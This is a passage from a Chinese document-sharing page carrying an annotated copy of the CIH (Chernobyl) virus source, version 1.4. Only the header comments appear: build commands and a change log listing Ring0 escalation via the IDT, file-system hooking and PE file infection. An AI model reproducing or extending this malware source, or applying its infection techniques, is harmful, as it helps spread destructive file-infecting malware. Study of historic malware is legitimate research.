CIH病毒1.4版本之中文注释

《CIH病毒1.4版本之中文注释》由会员上传分享，免费在线阅读，更多相关内容在工程资料-天天文库。

1、CIH病毒1.4版本之中文注释;CIH病毒1.4版本之中文注释由"邹丹"编写完成于1999-4-09;源程序中的英文注释未作修改,全部保留;电子邮件: zd_dan@263.net     ;个人主页: zdweb.yeah.net                                                                             ;本人所编写之注释仅供研究之用，如作其它用途，概于本人无关！！！;!!!!!!后附精彩后记,敬请留意!!!!!!; **************************

2、**************************************************   ; *                     The Virus Program Information                        *   ; ****************************************************************************   ; *                                                           

3、               *   ; *     Designer : CIH                  Source : TTIT of TATUNG in Taiwan    *   ; *     Create Date : 04/26/1998        Now Version : 1.4                    *   ; *     Modification Time : 05/31/1998                                       *   ; *            

4、                                                              *   ; *     Turbo Assembler Version 4.0     : tasm /m cih                        *   ; *     Turbo Link Version 3.01         : tlink /3 /t cih, cih.exe           * ;编译连接方法  ; *                                       

5、                                   * ;使用的是TurboAssembler  ; *==========================================================================* ;可在Borland C++ 3.1中找到  ; *                     Modification History                                 *   ; *=================================

6、=========================================*   ; *     v1.0    1. Create the Virus Program.                                 *   ; *             2. The Virus Modifies IDT to Get Ring0 Privilege.            *   ; * 04/26/1998  3. Virus Code doesn't Reload into System.             

7、       *   ; *             4. Call IFSMgr_InstallFileSystemApiHook to Hook File System. *   ; *             5. Modifies Entry Point of IFSMgr_InstallFileSystemApiHook.  *   ; *             6. When System Opens Existing PE File, the File will be      *   ; *                Infe

8、cted, and the File doesn't be Reinfected.             *   ; *